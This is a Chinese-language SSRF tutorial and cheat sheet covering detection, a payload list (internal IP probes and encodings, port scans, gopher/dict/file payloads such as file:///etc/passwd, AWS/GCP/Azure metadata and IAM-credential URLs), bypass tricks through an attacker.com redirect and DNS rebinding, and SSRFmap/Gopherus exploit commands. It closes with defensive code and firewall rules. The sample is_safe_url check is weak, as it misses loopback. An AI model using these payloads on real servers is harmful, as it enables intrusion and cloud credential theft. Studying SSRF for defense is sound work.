SSRF 漏洞详解
漏洞概述
SSRF(Server-Side Request Forgery)服务端请求伪造,攻击者诱导服务器发起恶意请求,访问内网资源。
OWASP Top 10: A03:2021
危害等级: ⭐⭐⭐⭐⭐
漏洞原理
服务器未验证用户输入的 URL,导致攻击者可:
- 访问内网资源
- 读取云环境元数据
- 扫描内网端口
- 利用其他协议攻击
漏洞检测
基础测试
# 访问公网
http://target.com/url?url=http://attacker.com
# 访问内网
http://target.com/url?url=http://127.0.0.1
http://target.com/url?url=http://192.168.1.1
http://target.com/url?url=http://10.0.0.1DNS 重绑定
# 使用 dnslog 检测
http://target.com/url?url=http://xxx.burpcollaborator.net
# 如果收到 DNS 请求,说明存在 SSRFPayload 大全
内网探测
# 本地回环
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
# 内网地址
http://192.168.0.1
http://10.0.0.1
http://172.16.0.1
# 十进制 IP
http://2130706433 (127.0.0.1)
# 八进制 IP
http://0177.0.0.1 (127.0.0.1)
# 十六进制 IP
http://0x7f.0x00.0x00.0x01 (127.0.0.1)端口扫描
# 常见端口
http://127.0.0.1:22
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:27017协议利用
# Gopher 协议
gopher://127.0.0.1:6379/_INFO
# Dict 协议
dict://127.0.0.1:11211/
# File 协议
file:///etc/passwd
# Socks 协议
socks4://127.0.0.1:1080/云环境利用
AWS
# 实例元数据
http://169.254.169.254/latest/meta-data/
# IAM 角色
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 用户数据
http://169.254.169.254/latest/user-data/
# 令牌获取
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"GCP
# 元数据
http://metadata.google.internal/computeMetadata/v1/
# 项目信息
http://metadata.google.internal/computeMetadata/v1/project/
# 实例信息
http://metadata.google.internal/computeMetadata/v1/instance/
# 需要 Header
Metadata-Flavor: GoogleAzure
# 实例元数据
http://169.254.169.254/metadata/instance?api-version=2020-09-01
# 需要 Header
Metadata: true绕过技巧
URL 编码
http://127.0.0.1 → http://%31%32%37%2E%30%2E%30%2E%31重定向
# 先访问公网,302 重定向到内网
http://attacker.com/redirect → http://127.0.0.1DNS 重绑定
# 第一次解析为公网 IP,第二次解析为内网 IP
# 使用工具:https://github.com/nccgroup/singularityIPv6 绕过
http://[::1]:80/
http://[0:0:0:0:0:ffff:7f00:1]混合协议
http://127.1.1.1:80@192.168.1.1:8080/工具检测
SSRFmap
# 自动检测 SSRF
python3 ssrfmap.py -r request.txt -m portscan
# 云环境探测
python3 ssrfmap.py -r request.txt -m awsGopherus
# 生成 Gopher Payload
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit mysql防御建议
输入验证
# 白名单验证
from urllib.parse import urlparse
from ipaddress import ip_address
def is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ['http', 'https']:
return False
host = parsed.hostname
try:
ip = ip_address(host)
return not ip.is_private
except:
return False禁用危险协议
// Java
URL url = new URL(input);
if (!url.getProtocol().equals("http") && !url.getProtocol().equals("https")) {
throw new SecurityException("Invalid protocol");
}网络隔离
# 防火墙规则
iptables -A OUTPUT -d 169.254.169.254 -j DROP
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP